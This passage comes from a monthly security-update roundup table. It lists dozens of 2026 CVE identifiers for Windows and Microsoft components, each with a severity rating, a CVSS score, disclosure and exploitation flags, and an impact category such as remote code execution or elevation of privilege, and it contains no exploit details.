No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print 